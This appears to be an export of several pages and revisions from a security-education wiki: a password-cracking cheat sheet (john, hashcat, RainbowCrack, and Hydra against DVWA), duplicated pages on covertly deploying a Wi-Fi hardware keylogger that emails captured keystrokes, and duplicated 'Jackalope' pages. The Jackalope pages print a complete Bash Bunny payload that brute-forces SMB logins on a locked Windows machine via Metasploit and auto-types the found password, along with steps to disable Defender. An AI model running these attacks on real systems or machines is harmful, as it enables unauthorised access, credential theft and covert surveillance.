It is generally claimed that Hashcat is more performant than John the Ripper (john) and that Graphical Processing Units (GPU) can calculate more hashes per second than Central Processing Units (CPU). See also [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]. John the Ripper has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks using the CPU. Hashcat is claimed to be the world’s fastest and most advanced open-source password recovery utility and supports five unique attack modes using GPUs, DSPs, FPGAs, and co-processors. The John jumbo edition supports way more hash types than hashcat (~2300 > ~200), while hashcat is highly optimized and may not run an any hardware and OS. Alternatively there are online lookup tables. However, this is useless for most slated hashes and advanced hashing algorithms. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.

<table style="margin-left: 15px">
<tr>
<th> Offline </th>
</tr>
<tr>
<td>

<ul>
<li>john</i></li>
<li>hashcat</li>
<li>RainbowCrack</li>
</ul>

</td>
</tr>
</table>

<table style="margin-left: 15px">
<tr>
<th> Online </th>
</tr>
<tr>
<td>

<ul>
<li>[https://crackstation.net crackstation.net]</li>
<li>[https://md5hashing.net md5hashing.net]</li>
<li>[https://google.com Google]</li>
</ul>

</td>
</tr>
</table>

<h3>Examples</h3>

<source lang="bash">
#Hash detection
john $HASHFILE

# Incremental Brute-force
john --incremental=ASCII $HASHFILE --format=dynamic_1 --fork=16

# Rule-based
john $HASHFILE --format=dynamic_1 --rules=Wordlist \
--wordlist=$WORDLIST --fork=16
john $HASHFILE --format=dynamic_1 --rules=Wordlist,Single \
--wordlist=$WORDLIST --fork=16

# Custom rule that adds a new line to the end of ech password from a wordlist
cat AddNewLine.rule
[List.Rules:AddNewLine]
$\x0a

sudo nice -n -20 john $HASHFILE --rules=AddNewLine.rule \
--wordlist=$WORDLIST --format=Raw-SHA1

# Bruteforce
sudo nice -n -20 \
hashcat -m 100 \
$HASH \
-a 3 password?d?d?d?d

# Wordlist + Mask attack
sudo nice -n -20 \
hashcat -m 100 \
$HASH \
-a 6 $WORDLIST ?d?d?d?d

# Custom Rule
cat AddNewLine.rule
$\x0a

# Straight attack /w custom rule
sudo nice -n -20 \
hashcat -m 100 -r AddNewLine.rule \
$HASH \
-a 0 $WORDLIST

# Dictionary Attack (MD5 Hashes)
sudo nice -n -20 \
hashcat -a 0 -m 0 hashes.txt rockyou.txt
$HASH

# Rainbowtable Attack (Rainbowcrack)
sudo apt-get install rainbowcrack # Installing Rainbowcrack
rtgen -h # Open Manual
sudo rtgen md5 loweralpha 1 3 0 1000 1000 0 # Create Rainbowtable
cd /usr/share/rainbowcrack/ # Change directory to view table
rtsort . # Sort every file in directory (very important)
./rcrack . -h example_hash # Execute Rainbowcrack

# Brute-Forcing Login Page of DVWA (with Hydra)
hydra 127.0.0.1 http-form-get "/vulnerabilities/brute:username=^USER^&passwords=^PASS^&Login=submit:F=Username and/or password incorrect.:H=Cookie:security=low; PHPSESSID=uhuja6fe3jof98cf2j86r0qtpq" -L usernames.txt -P passwords.txt

</source>

<h1>Related</h1>
* [[Password Security]]
* [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]
* [[Acquisition and Cracking of macOS User Passwords]]
* [[Password cracking on Android]]
* [[WPA/WPA2 PSK deauthentication attack]]
* [[Brute-Force with NMAP]]

<h1>References</h1>

* [W1] WeakPass: Pick the right wordlist. (Visited: 16.10.2020):
** https://weakpass.com/wordlist
** https://weakpass.com/calc
* [W2] Kali Linux: The quieter you become, the more you are able to hear https://www.kali.org (Visited: 25.11.2019)
* [W3] Openwall: John the Ripper password cracker (Visited: 22.11.2019):
** https://www.openwall.com/john/
** https://openwall.info/wiki/john/benchmarks
** https://openwall.info/wiki/john/johnny
** https://openwall.info/wiki/john/GPU
** git://github.com/magnumripper/JohnTheRipper
** https://www.openwall.com/john/doc/MODES.shtml
** https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC
* [W4] Hashcat: Advanced Password Recovery (Visited: 23.11.2019):
** https://hashcat.net/hashcat/
** https://hashcat.net/wiki/
** https://hashcat.net/wiki/doku.php?id=hashcat
** https://github.com/hashcat/hashcat
** https://hashcat.net/wiki/doku.php?id=example_hashes
* [W5] Aircrack-ng: complete suite of tools to assess WiFi network security:
** https://www.aircrack-ng.org/documentation.html
** https://github.com/aircrack-ng/aircrack-ng
* [W6] Varonis: How to Use John the Ripper (Updated: 13.08.2019, Visited: 25.11.2019):
** https://www.varonis.com/blog/john-the-ripper/
* [W7] NVIDIA: High Performance Computing (Visited: 25.11.2019):
** https://developer.nvidia.com/opencl
** https://developer.nvidia.com/cuda-zone
* [W8] ophcrack: a free Windows password cracker (Visited: 25.11.2019):
** https://ophcrack.sourceforge.io/
* [B1] Hash Crack: Password Cracking Manual. NETMUX, 2019, ISBN: 9781793458612.
* [P1] Special Publication 800-63: Digital Identity Guidelines. NIST, 2017, DOI: NIST.SP.800-63-3

</div>

[[Category:Basic]]

File:Haystack.PNG

2023-01-06T22:28:46Z

EPelanovic:

File:DVWA BruteForce.jpg

2023-01-06T22:05:31Z

EPelanovic:

File:Attack Modes Hashcat.png

2023-01-06T21:28:42Z

EPelanovic:

File:Hashing Algorothms Hashcat.png

2023-01-06T21:26:15Z

EPelanovic:

AirDrive Keylogger Max

2022-06-28T18:04:32Z

EPelanovic:

[[File:AirDrive Keylogger Max.PNG|350px|thumb|right|AirDrive Keylogger Max]]

== Summary ==

The '''AirDrive Keylogger Max''' is comparable to the '''AirDrive Forensic Keylogger Cable (Pro Version)'''.
It has additional connectivity and more download options. It works both as a Wi-Fi hotspot, and as a Wi-Fi device, enabling features such as Email reports and time stamping. 8GB of built-in memory was used.

== Features==

* Records keystrokes from any USB keyboard
* 8 gigabytes of built-in memory
* Memory accessible as a USB Hi-speed flash drive (480 Mbps)
* Undetectable for security software
* Supports over 40 national keyboard layouts
* Compatible with barcode readers
* Works as a Wi-Fi hotspot, or as a Wi-Fi device
* Sends Email reports with recorded keystroke data
* Supports time-stamping
* Supports live data streaming over network
* Connect from any computer, smartphone, or tablet
* Access keystroke data from web browser
* Supports WEP, WPA, and WPA-2 network security

== Description ==

You don’t need any physical access to access the logged data. It is available on its interface, which is accessible by connecting to it over Wi-Fi. Once you are connected, you can view the logged data in real-time or just download it.
To hide the keylogger, you can erase the log, disable further logging, or even hide the WLAN network.
It is simply installed by just connecting any types of USB keyboards or barcode reader. Just connect the keylogger in-line with the keyboard and all keystrokes will be recorded.

There are a lot of configuring options, which will be shown in the practical part.

=== Hands-On ===

&emsp;1. Connect the USB keylogger in-line with the external keyboard and the target host.

&emsp;2. Connect your smartphone, tablet or computer to the Wi-Fi network "AIR_XXYYZZ", where "XXYYZZ" is the device ID of the USB cable.

&emsp;3. You can then use any web browser to access the interface under the IP "192.168.4.1".

[[File:Web Interface 1.PNG|600px|thumb|none|]]

&emsp;4. Open the settings to configure the keylogger cable. Various configurations can be made there:

[[File:Web Interface 2.PNG|600px|thumb|none|]]

[[File:Web Interface 3.PNG|600px|thumb|none|]]

We can click on “Toggle Keyboard” to make the keylogger act as a normal flash drive.

&emsp;5. Since the Keylogger Max version has more features, we can take a look at the advanced settings: For every of the advanced settings, an internet connection will be needed.

[[File:Web Interface 4.PNG|600px|thumb|none|]]

After you entered the SSID and the password of your WLAN network, you have to press the save button and restart the device, to activate the configurations.

[[File:Web Interface 5.PNG|600px|thumb|none|]]

You can also use a specific NTP server from https://ntp.org
After configuration, keystrokes will be shown with timestamps in data log.

[[File:Web Interface 6.PNG|600px|thumb|none|]]

Find out your SMTP server addresses either by command line or by an online-tool like https://www.dnswatch.info.

'''Example (if you would use GMAIL):'''

* Gmail SMTP server address: smtp.gmail.com
* Gmail SMTP name: Your full name
* Gmail SMTP username: Your full Gmail address (e.g. you@gmail.com)
* Gmail SMTP password: The password that you use to log in to Gmail
* Gmail SMTP port (TLS): 587
* Gmail SMTP port (SSL): 465

Don’t forget to press the “Save” button.

[[File:Web Interface 7.PNG|600px|thumb|none|]]

The IP of the target out by typing “ipconfig” in the terminal (Windows) and reading out the local IP address. Choose a free target port of your choice.

You can download a UDP client or use instead the example client, which was already linked in the there.

Don’t forget to press the “Save” button.
Don’t forget to apply settings with pressing for each section the “Save … “-button.

&emsp;6. We can download the “Data log” under the “Download” button.

[[File:Web Interface 8.PNG|600px|thumb|none|]]

&emsp;7. With a click on "Data Log" we can observe what is typed on the external keyboard.

'''Example of a Data Log'''

In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.

[[File:Web Interface 9.PNG|600px|thumb|none|]]

=== Important Legal Notice [1] ===

The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.

[[File:This PC is monitored.PNG|600px|thumb|none|]]

=== Keyboard compability limitations [1] ===

The device will work with almost all types of physical USB keyboards (it won't work with internal laptop keyboards). It works fine with wireless keyboards, with exception of Bluetooth keyboards. It won't work a few types of keyboards with built-in high-speed USB hubs (primarily Apple A1243 and Dell KB522), for which the Mac/MCP series should be used. Support for some gaming keyboards is not fully guaranteed, as they often use proprietary protocols.

== References ==

* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/

AirDrive Keylogger Max

2022-06-28T18:04:15Z

EPelanovic:

[[File:AirDrive Keylogger Max.PNG|350px|thumb|right|AirDrive Keylogger Max]]

== Summary ==

The '''AirDrive Keylogger Max''' is comparable to the '''AirDrive Forensic Keylogger Cable (Pro Version)'''.
It has additional connectivity and more download options. It works both as a Wi-Fi hotspot, and as a Wi-Fi device, enabling features such as Email reports and time stamping. 8GB of built-in memory was used.

== Features==

* Records keystrokes from any USB keyboard
* 16 gigabytes of built-in memory
* Memory accessible as a USB Hi-speed flash drive (480 Mbps)
* Undetectable for security software
* Supports over 40 national keyboard layouts
* Compatible with barcode readers
* Works as a Wi-Fi hotspot, or as a Wi-Fi device
* Sends Email reports with recorded keystroke data
* Supports time-stamping
* Supports live data streaming over network
* Connect from any computer, smartphone, or tablet
* Access keystroke data from web browser
* Supports WEP, WPA, and WPA-2 network security

== Description ==

You don’t need any physical access to access the logged data. It is available on its interface, which is accessible by connecting to it over Wi-Fi. Once you are connected, you can view the logged data in real-time or just download it.
To hide the keylogger, you can erase the log, disable further logging, or even hide the WLAN network.
It is simply installed by just connecting any types of USB keyboards or barcode reader. Just connect the keylogger in-line with the keyboard and all keystrokes will be recorded.

There are a lot of configuring options, which will be shown in the practical part.

=== Hands-On ===

&emsp;1. Connect the USB keylogger in-line with the external keyboard and the target host.

&emsp;2. Connect your smartphone, tablet or computer to the Wi-Fi network "AIR_XXYYZZ", where "XXYYZZ" is the device ID of the USB cable.

&emsp;3. You can then use any web browser to access the interface under the IP "192.168.4.1".

[[File:Web Interface 1.PNG|600px|thumb|none|]]

&emsp;4. Open the settings to configure the keylogger cable. Various configurations can be made there:

[[File:Web Interface 2.PNG|600px|thumb|none|]]

[[File:Web Interface 3.PNG|600px|thumb|none|]]

We can click on “Toggle Keyboard” to make the keylogger act as a normal flash drive.

&emsp;5. Since the Keylogger Max version has more features, we can take a look at the advanced settings: For every of the advanced settings, an internet connection will be needed.

[[File:Web Interface 4.PNG|600px|thumb|none|]]

After you entered the SSID and the password of your WLAN network, you have to press the save button and restart the device, to activate the configurations.

[[File:Web Interface 5.PNG|600px|thumb|none|]]

You can also use a specific NTP server from https://ntp.org
After configuration, keystrokes will be shown with timestamps in data log.

[[File:Web Interface 6.PNG|600px|thumb|none|]]

Find out your SMTP server addresses either by command line or by an online-tool like https://www.dnswatch.info.

'''Example (if you would use GMAIL):'''

* Gmail SMTP server address: smtp.gmail.com
* Gmail SMTP name: Your full name
* Gmail SMTP username: Your full Gmail address (e.g. you@gmail.com)
* Gmail SMTP password: The password that you use to log in to Gmail
* Gmail SMTP port (TLS): 587
* Gmail SMTP port (SSL): 465

Don’t forget to press the “Save” button.

[[File:Web Interface 7.PNG|600px|thumb|none|]]

The IP of the target out by typing “ipconfig” in the terminal (Windows) and reading out the local IP address. Choose a free target port of your choice.

You can download a UDP client or use instead the example client, which was already linked in the there.

Don’t forget to press the “Save” button.
Don’t forget to apply settings with pressing for each section the “Save … “-button.

&emsp;6. We can download the “Data log” under the “Download” button.

[[File:Web Interface 8.PNG|600px|thumb|none|]]

&emsp;7. With a click on "Data Log" we can observe what is typed on the external keyboard.

'''Example of a Data Log'''

In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.

[[File:Web Interface 9.PNG|600px|thumb|none|]]

=== Important Legal Notice [1] ===

The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.

[[File:This PC is monitored.PNG|600px|thumb|none|]]

=== Keyboard compability limitations [1] ===

The device will work with almost all types of physical USB keyboards (it won't work with internal laptop keyboards). It works fine with wireless keyboards, with exception of Bluetooth keyboards. It won't work a few types of keyboards with built-in high-speed USB hubs (primarily Apple A1243 and Dell KB522), for which the Mac/MCP series should be used. Support for some gaming keyboards is not fully guaranteed, as they often use proprietary protocols.

== References ==

* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/

Bash Bunny Exploit: Jackalope

2022-06-28T17:33:50Z

EPelanovic:

== Summary ==

Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered, it is stored in a file for future use. The password may be used to unlock the machine by:

* Manually select user & place focus on the password field at the login screen
* Toggle the switch position from switch1 to switch2 (or vice versa) & the bunny will auto-type the stored password.

To clear a stored password, move the switch to switch3 (aka arming mode) after the payload runs and displays GREEN. The status light will change to SPECIAL (cyan) indicating the password has been removed. Positioning the switch to switch1 or switch2 will re-initiate the attack.

== Requirements ==

=== Required Tools ===

You must have a Metasploit installation up and running in path /tools/metasploit-framework/
For the installation of additional tools to the Bash Bunny follow this link [https://forums.hak5.org/topic/40971-info-tools/ here] or download the tools you need by clicking on following links:

* [https://storage.googleapis.com/bashbunny_tools/impacket-bunny.deb Impacket]
* [https://storage.googleapis.com/bashbunny_tools/responder-bunny.deb Responder]
* [https://storage.googleapis.com/bashbunny_tools/gohttp-bunny.deb Gohttp]
* [https://storage.googleapis.com/bashbunny_tools/metasploit-bunny.deb Metasploit-Framework] (Requires firmware 1.6 or above)

By clicking on the links, a download will be started automatically.
Move the downloaded files in BashBunnys “loot” folder. Then unplug the device safely and plug it in again. The device will take some time to move the files to Linux (purple LED flashing). Wait until the LED is flashing in blue again.
No further initial configuration is required for Firmware v1.6+.

=== Windows Defender ===

When using a Windows machine, Windows Defender will complain and therefore block a lot of files and executions. You therefore have to unable the Real-time detection for your device to have Bash Bunny work properly.

Follow these steps to temporarily turn off real-time Microsoft Defender antivirus protection in Windows Security. However, keep in mind that if you do, your device may be vulnerable to threats.

&emsp;1. Select Start and type "Windows Security" to search for that app.

&emsp;2. Select the Windows Security app from the search results, go to Virus & threat protection, and under Virus & threat protection settings select Manage settings.

&emsp;3. Switch Real-time protection to Off. Note that scheduled scans will continue to run. However, files that are downloaded or installed will not be scanned until the next scheduled scan.

== Description ==

=== Per attack configuration ===

* userlist.txt contains usernames to use in attack.
* wordlist.txt contains passwords to use in attack.

Note: A fantastic collection of password wordlists are available: [https://github.com/danielmiessler/SecLists SecLists]

=== LED Status ===

[[File:BashBunny_status.PNG|thumb|none|500px|LED Status lights]]

A detailed description oft these LED states can be found [https://docs.hak5.org/bash-bunny/writing-payloads/led here].

=== Payload ===

This payload uses Metasploit for the exploit. Therefore, as already mentioned above, the Metasploit-Framework is needed. The framework uses the '''auxiliary/scanner/smb/smb_login''' module for the exploit.

=== Exploit overview ===

'''Name:''' SMB Login Check Scanner

'''Module:''' auxiliary/scanner/smb/smb_login

'''Source code:''' modules/auxiliary/scanner/smb/smb_login.rb

'''Disclosure date:''' -

'''Last modification time:''' 2021-08-31 17:10:07 +0000

'''Supported architecture(s):''' -

'''Supported platform(s):''' -

'''Target service / protocol:''' microsoft-ds, netbios-ssn

'''Target network port(s):''' 139, 445

'''List of CVEs:''' CVE-1999-0506

This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Therefore, the firewall of the target PC needs to have port 445 (inbound traffic) opened.

=== How do you enable port 445? ===

Go Start > Control Panel > Windows Firewall and find Advanced settings on the left side. 2. Click Inbound Rules > New rule. Then in the pop-up window, choose Port > Next >TCP > Specific local ports and type 445 and go Next. Create the rule.

Otherwise, you “network inaccessible” error, illustrate by a blinking red LED at the Bash Bunny.

== Payload Preperation ==

=== payload.txt ===

<pre>

#!/bin/bash
#
# Title: Jackalope
# Author: catatonic
# Version: 1.1.0

# Check readiness & prepare environment
LED SETUP

REQUIRETOOL metasploit-framework
ATTACKMODE HID RNDIS_ETHERNET

# Ensure loot is available for recording results.
mount /dev/nandf /root/udisk/

ORIGINAL_SWITCH=$SWITCH_POSITION
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION
LOOTBASE=/root/udisk/loot/Jackalope/

# SETUP
GET TARGET_IP
GET TARGET_HOSTNAME

COUNT=$(ls -lad $LOOTBASE/$TARGET_HOSTNAME* | wc -l)
COUNT=$((COUNT+1))
LOOTDIR=$LOOTBASE/$TARGET_HOSTNAME-$COUNT
mkdir -p $LOOTDIR

MSF_DIR=/tools/metasploit-framework

# Save environment informaiton:
echo "PAYLOAD_DIR: $PAYLOAD_DIR" >> $LOOTDIR/log.txt
echo "MSF_DIR: $MSF_DIR" >> $LOOTDIR/log.txt
echo "LOOTDIR: $LOOTDIR" >> $LOOTDIR/log.txt
echo "TARGET_IP: $TARGET_IP" >> $LOOTDIR/log.txt
echo "TARGET_HOSTNAME: $TARGET_HOSTNAME" >> $LOOTDIR/log.txt

SYNC ()
{
sync; sleep 1; sync
}
CLEAR_PW()
{
LED SPECIAL
rm $PAYLOAD_DIR/quack_pass.txt
SYNC
WAIT
}
ENTER_PW()
{
sleep 1
QUACK $ORIGINAL_SWITCH/quack_pass.txt
QUACK ENTER
}
RECON()
{
ATTACKMODE RNDIS_ETHERNET
# Stage 1: Recon
LED STAGE1
echo "Executing nmap..." >> $LOOTDIR/log.txt
nmap -p 445 -Pn $TARGET_IP > $LOOTDIR/nmap_results.txt
if ! grep --quiet "445.*open" $LOOTDIR/nmap_results.txt;
then
LED FAIL2
SYNC
exit
fi
}
EXPLOIT()
{
# Stage 2: Exploit
LED STAGE2
export HOME=/root
cd $MSF_DIR
./msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS $TARGET_IP; set USER_FILE $PAYLOAD_DIR/userlist.txt; set PASS_FILE $PAYLOAD_DIR/wordlist.txt; run; exit" > $LOOTDIR/msfconsole.txt

if ! grep --quiet "^\[+\]" $LOOTDIR/msfconsole.txt;
then
LED FAIL
echo "Payload failed, no logins found..." >> $LOOTDIR/log.txt
SYNC
exit
fi

grep "^\[+\]" $LOOTDIR/msfconsole.txt | grep -o \'.*\' | cut -d ':' -f 1 | cut -d "'" -f 2 > $LOOTDIR/user.txt
grep "^\[+\]" $LOOTDIR/msfconsole.txt | grep -o \'.*\' | cut -d ':' -f 2 | cut -d "'" -f 1 > $LOOTDIR/password.txt

# Focus needs to be set on the password field manually.
echo -n "STRING " > $PAYLOAD_DIR/quack_pass.txt
cat $LOOTDIR/password.txt >> $PAYLOAD_DIR/quack_pass.txt

SYNC
}

# High level view.
while true
do
if [ -f $PAYLOAD_DIR/quack_pass.txt ];
then
LED FINISH
else
RECON
EXPLOIT
continue
fi

WAIT

# User's choice, clear old password or enter password.
if [ "$SWITCH_POSITION" == "switch3" ];
then
CLEAR_PW
else
ENTER_PW
fi
done

</pre>

=== userlist.txt ===

Add here the usernames you want to attack on the target host, like for example:

<pre>
Administrator
Willi
Gast
</pre>

=== wordlist.txt ===

Add here the some common used passwords, which will be used to bruteforce the target host. For example:

<pre>123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
</pre>

== Execution ==

&emsp;1. Plug the configured Bash Bunny in the Windows target machine. The target machine’s screen should be locked, and the Bash Bunny’s button should be placed also correctly, depending on which switch you configured the payload (switch1 or switch2).

&emsp;2. Bash Bunny’s LED lights purple until the execution of the payload.

&emsp;3. While attacking the LED will blink in a yellow colour.

&emsp;4. When Bash Bunny was successful, the LED will light green.

&emsp;5. You will have then the two possibilities as already mentioned in the Description section. Do it manually or toggle the button to put in the password automatically into the password phrase.

&emsp;6. After toggling the screen should lock up.

== Result ==

In Bash Bunnys “loot”-folder the output of the attack could be found after the attack.
Following files can be found:

* log.txt --> Can be used for troubleshooting/debugging.
* msfconsole.txt --> The non- and matching events of users to passwords on target host will displayed in this textfile.
* nmap_ results.txt --> Here the output of the nmap-scan is shown.
* password.txt --> All matching passwords are saved in this text file.
* user.txt --> All matching users are saved in this text file.

== References ==

* https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/Jackalope
* https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/smb/smb_login
* https://frameboxxindore.com/windows/you-asked-how-do-i-open-port-445-on-windows-10.html
* https://support.microsoft.com/en-us/windows/turn-off-defender-antivirus-protection-in-windows-security-99e6004f-c54c-8509-773c-a4d776b77960
* https://wiki.bashbunny.com/#!index.md#Tools
* https://docs.hak5.org/bash-bunny/writing-payloads/led

Bash Bunny Exploit: Jackalope

2022-06-28T17:30:10Z

EPelanovic: Created page with "== Summary == Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered, it is stored in a file for future use. The password may be used to unlock the machine by: * Manually select user & place focus on the password field at the login screen * Toggle the switch position from switch1 to switch2 (or vice versa) & the bunny will auto-type the stored password. To clear a stored password, move the switch to switch3 (aka arming mode) af..."

== Summary ==

Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered, it is stored in a file for future use. The password may be used to unlock the machine by:

* Manually select user & place focus on the password field at the login screen
* Toggle the switch position from switch1 to switch2 (or vice versa) & the bunny will auto-type the stored password.

To clear a stored password, move the switch to switch3 (aka arming mode) after the payload runs and displays GREEN. The status light will change to SPECIAL (cyan) indicating the password has been removed. Positioning the switch to switch1 or switch2 will re-initiate the attack.

== Requirements ==

=== Required Tools ===

You must have a Metasploit installation up and running in path /tools/metasploit-framework/
For the installation of additional tools to the Bash Bunny follow this link [https://forums.hak5.org/topic/40971-info-tools/ here] or download the tools you need by clicking on following links:

* [https://storage.googleapis.com/bashbunny_tools/impacket-bunny.deb Impacket]
* [https://storage.googleapis.com/bashbunny_tools/responder-bunny.deb Responder]
* [https://storage.googleapis.com/bashbunny_tools/gohttp-bunny.deb Gohttp]
* [https://storage.googleapis.com/bashbunny_tools/metasploit-bunny.deb Metasploit-Framework] (Requires firmware 1.6 or above)

By clicking on the links, a download will be started automatically.
Move the downloaded files in BashBunnys “loot” folder. Then unplug the device safely and plug it in again. The device will take some time to move the files to Linux (purple LED flashing). Wait until the LED is flashing in blue again.
No further initial configuration is required for Firmware v1.6+.

=== Windows Defender ===

When using a Windows machine, Windows Defender will complain and therefore block a lot of files and executions. You therefore have to unable the Real-time detection for your device to have Bash Bunny work properly.

Follow these steps to temporarily turn off real-time Microsoft Defender antivirus protection in Windows Security. However, keep in mind that if you do, your device may be vulnerable to threats.

&emsp;1. Select Start and type "Windows Security" to search for that app.

&emsp;2. Select the Windows Security app from the search results, go to Virus & threat protection, and under Virus & threat protection settings select Manage settings.

&emsp;3. Switch Real-time protection to Off. Note that scheduled scans will continue to run. However, files that are downloaded or installed will not be scanned until the next scheduled scan.

== Description ==

=== Per attack configuration ===

* userlist.txt contains usernames to use in attack.
* wordlist.txt contains passwords to use in attack.

Note: A fantastic collection of password wordlists are available: [https://github.com/danielmiessler/SecLists SecLists]

=== LED Status ===

[File:BashBunny_status.PNG|thumb|none|500px|LED Status lights]

A detailed description oft these LED states can be found [https://docs.hak5.org/bash-bunny/writing-payloads/led here].

=== Payload ===

This payload uses Metasploit for the exploit. Therefore, as already mentioned above, the Metasploit-Framework is needed. The framework uses the '''auxiliary/scanner/smb/smb_login''' module for the exploit.

=== Exploit overview ===

'''Name:''' SMB Login Check Scanner

'''Module:''' auxiliary/scanner/smb/smb_login

'''Source code:''' modules/auxiliary/scanner/smb/smb_login.rb

'''Disclosure date:''' -

'''Last modification time:''' 2021-08-31 17:10:07 +0000

'''Supported architecture(s):''' -

'''Supported platform(s):''' -

'''Target service / protocol:''' microsoft-ds, netbios-ssn

'''Target network port(s):''' 139, 445

'''List of CVEs:''' CVE-1999-0506

This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Therefore, the firewall of the target PC needs to have port 445 (inbound traffic) opened.

=== How do you enable port 445? ===

Go Start > Control Panel > Windows Firewall and find Advanced settings on the left side. 2. Click Inbound Rules > New rule. Then in the pop-up window, choose Port > Next >TCP > Specific local ports and type 445 and go Next. Create the rule.

Otherwise, you “network inaccessible” error, illustrate by a blinking red LED at the Bash Bunny.

== Payload Preperation ==

=== payload.txt ===

<pre>

#!/bin/bash
#
# Title: Jackalope
# Author: catatonic
# Version: 1.1.0

# Check readiness & prepare environment
LED SETUP

REQUIRETOOL metasploit-framework
ATTACKMODE HID RNDIS_ETHERNET

# Ensure loot is available for recording results.
mount /dev/nandf /root/udisk/

ORIGINAL_SWITCH=$SWITCH_POSITION
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION
LOOTBASE=/root/udisk/loot/Jackalope/

# SETUP
GET TARGET_IP
GET TARGET_HOSTNAME

COUNT=$(ls -lad $LOOTBASE/$TARGET_HOSTNAME* | wc -l)
COUNT=$((COUNT+1))
LOOTDIR=$LOOTBASE/$TARGET_HOSTNAME-$COUNT
mkdir -p $LOOTDIR

MSF_DIR=/tools/metasploit-framework

# Save environment informaiton:
echo "PAYLOAD_DIR: $PAYLOAD_DIR" >> $LOOTDIR/log.txt
echo "MSF_DIR: $MSF_DIR" >> $LOOTDIR/log.txt
echo "LOOTDIR: $LOOTDIR" >> $LOOTDIR/log.txt
echo "TARGET_IP: $TARGET_IP" >> $LOOTDIR/log.txt
echo "TARGET_HOSTNAME: $TARGET_HOSTNAME" >> $LOOTDIR/log.txt

SYNC ()
{
sync; sleep 1; sync
}
CLEAR_PW()
{
LED SPECIAL
rm $PAYLOAD_DIR/quack_pass.txt
SYNC
WAIT
}
ENTER_PW()
{
sleep 1
QUACK $ORIGINAL_SWITCH/quack_pass.txt
QUACK ENTER
}
RECON()
{
ATTACKMODE RNDIS_ETHERNET
# Stage 1: Recon
LED STAGE1
echo "Executing nmap..." >> $LOOTDIR/log.txt
nmap -p 445 -Pn $TARGET_IP > $LOOTDIR/nmap_results.txt
if ! grep --quiet "445.*open" $LOOTDIR/nmap_results.txt;
then
LED FAIL2
SYNC
exit
fi
}
EXPLOIT()
{
# Stage 2: Exploit
LED STAGE2
export HOME=/root
cd $MSF_DIR
./msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS $TARGET_IP; set USER_FILE $PAYLOAD_DIR/userlist.txt; set PASS_FILE $PAYLOAD_DIR/wordlist.txt; run; exit" > $LOOTDIR/msfconsole.txt

if ! grep --quiet "^\[+\]" $LOOTDIR/msfconsole.txt;
then
LED FAIL
echo "Payload failed, no logins found..." >> $LOOTDIR/log.txt
SYNC
exit
fi

grep "^\[+\]" $LOOTDIR/msfconsole.txt | grep -o \'.*\' | cut -d ':' -f 1 | cut -d "'" -f 2 > $LOOTDIR/user.txt
grep "^\[+\]" $LOOTDIR/msfconsole.txt | grep -o \'.*\' | cut -d ':' -f 2 | cut -d "'" -f 1 > $LOOTDIR/password.txt

# Focus needs to be set on the password field manually.
echo -n "STRING " > $PAYLOAD_DIR/quack_pass.txt
cat $LOOTDIR/password.txt >> $PAYLOAD_DIR/quack_pass.txt

SYNC
}

# High level view.
while true
do
if [ -f $PAYLOAD_DIR/quack_pass.txt ];
then
LED FINISH
else
RECON
EXPLOIT
continue
fi

WAIT

# User's choice, clear old password or enter password.
if [ "$SWITCH_POSITION" == "switch3" ];
then
CLEAR_PW
else
ENTER_PW
fi
done

</pre>

=== userlist.txt ===

Add here the usernames you want to attack on the target host, like for example:

<pre>
Administrator
Willi
Gast
</pre>

=== wordlist.txt ===

Add here the some common used passwords, which will be used to bruteforce the target host. For example:

<pre>123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
</pre>

== Execution ==

&emsp;1. Plug the configured Bash Bunny in the Windows target machine. The target machine’s screen should be locked, and the Bash Bunny’s button should be placed also correctly, depending on which switch you configured the payload (switch1 or switch2).

&emsp;2. Bash Bunny’s LED lights purple until the execution of the payload.

&emsp;3. While attacking the LED will blink in a yellow colour.

&emsp;4. When Bash Bunny was successful, the LED will light green.

&emsp;5. You will have then the two possibilities as already mentioned in the Description section. Do it manually or toggle the button to put in the password automatically into the password phrase.

